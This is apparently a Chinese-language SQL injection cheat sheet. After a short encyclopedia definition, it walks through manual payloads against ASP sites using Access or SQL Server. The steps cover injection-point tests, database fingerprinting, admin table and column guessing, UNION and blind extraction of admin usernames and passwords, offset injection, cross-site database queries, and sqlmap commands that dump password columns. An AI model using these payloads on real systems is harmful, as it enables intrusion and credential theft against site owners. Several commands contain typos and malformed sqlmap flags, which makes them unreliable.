什么是SQL注入
SQL注入攻击是通过操作输入来修改SQL语句,用以达到执行代码对WEB服务器进行攻击的方法。简单的说就是在post/getweb表单、输入域名或页面请求的查询字符串中插入SQL命令,最终使web服务器执行恶意命令的过程。可以通过一个例子简单说明SQL注入攻击。假设某网站页面显示时URL为http://www.example.com?test=123,此时URL实际向服务器传递了值为123的变量test,这表明当前页面是对数据库进行动态查询的结果。由此,我们可以在URL中插入恶意的SQL语句并进行执行。另外,在网站开发过程中,开发人员使用动态字符串构造SQL语句,用来创建所需的应用,这种情况下SQL语句在程序的执行过程中被动态的构造使用,可以根据不同的条件产生不同的SQL语句,比如需要根据不同的要求来查询数据库中的字段。这样的开发过程其实为SQL注入攻击留下了很多的可乘之机 ------------------------------------------------【百度百科】
(1)判断是否存在注入点:
假设存在某站点http://www.xxx.com/news.asp?id=6
http://www.xxx.com/news.asp?id=6 and 1=1
http://www.xxx.com/news.asp?id=6 and 1=2
若两次返回不一样则存在注入
也可以使用以下语句:
*/
-0
-1
1
.0
.1
(2)判断数据库类型
and exsits (select * from msysobjects)>0 (access数据库)
and exsits (select * from sysobjects)>0 (sqlserver数据库)
(3) 判断数据库表名:
and exists (select * from admin)
返回正确 存在admin表返回错误 不存在这个表
`
常见管理员表名 :
> admin
> admin_user
> admin_msg
> admin_usr
> admin_login
> username
> member
> manager
> manag
> msg_user
> msg_login
> useradmin
> user_login
> user—_msg users `**
(4)猜解列名
and exists (select username from admin)
and exists (select password from admin)
管理员表下常见列名:
admin、
users、
user_login、
user_name、
msg_name、
login_name、
admin_login
常见密码列名:
password、
psd、
passwd、
pass 、
user_pass****
(5)判断某个id对应的表下的列数:
id=31 order by 7
当num<=真实存在的列数,返回正常
(6)联合查询:
id=31 union select 1,2,3,4,5,6,7 from admin
判断是否存在admin表并爆出非数字类型列(可全为1,表明是数字类型)
id=31 union select 1,admin,password,4,5,6,7 from admin
如果admin表下存在admin和password列则爆出相应值(可以放在任意位置)
(7)猜解用户名和密码长度
and (select len(admin) from admin)>=5
and (select len(password) from admin)=5
如果admin表下的admin/password列下的字符长度>=5,返回正常
(8)猜解用户名和密码内容
and(select top 1 asc(mid(username,1,1))from admin)>97
and(select top 1 asc(mid(username,1,1))from admin)=97
偏移注入:<--已知表名,不知列名
一、id=31 union select 1,2,3,4,5,6,7 from admin
在末尾添加*,并从后往前依次删掉一列
id=31 union select 1,2,3,4,5,6,* from admin
可能随机爆出某列的数据
二、id=31 union select 1,2,3,4,5,6,7 from admin
在一得出结果的情况下,比如在5爆出一个值,遵从以下公式:测试不加x.id
id=31 union select 1,2,3,4,5,a.id,b.id* from (admin as a inner join admin as b on a.id=b.id)
id=31 union select 1,2,3,a.id,b.id,c.id* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
id=31 union select 1,a.id,b.id,c.id,d.id* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)inner join admin as d on a.id=d.id)
三、 浏览器打开登陆页面,审查元素,查看表单提交的名称----有可能是admin下的列名
四、跨库查询:通过A站查B站的数据库
满足条件:
1、A站和B站在同一个服务器下且A站存在注入
2、知道B站的数据库存放的绝对路径
3、知道B站的表名和列名
语法:
id=31 union select 1,admin,password,4,5,6,7 from [C:\数据库的绝对路径] admin_user
查询同服务器下其它站点表名为admin_user的列admin和password的值
(1)爆数据库名
sqlmap–u htttp://www.xxx.com/test.asp?id=69 –database
(2)爆表名
sqlmap–u htttp://www.xxx.com/test.asp?id=69 -D flag –tables
(3)爆字段
sqlmap–u htttp://www.xxx.com/test.asp?id=69 -D flag –T admin –columns
(4)爆列值
sqlmap–u htttp://www.xxx.com/test.asp?id=69 -D flag –T admin –c password –dumps
推荐https://blog.csdn.net/weixin_41489908/article/details/104382554更详细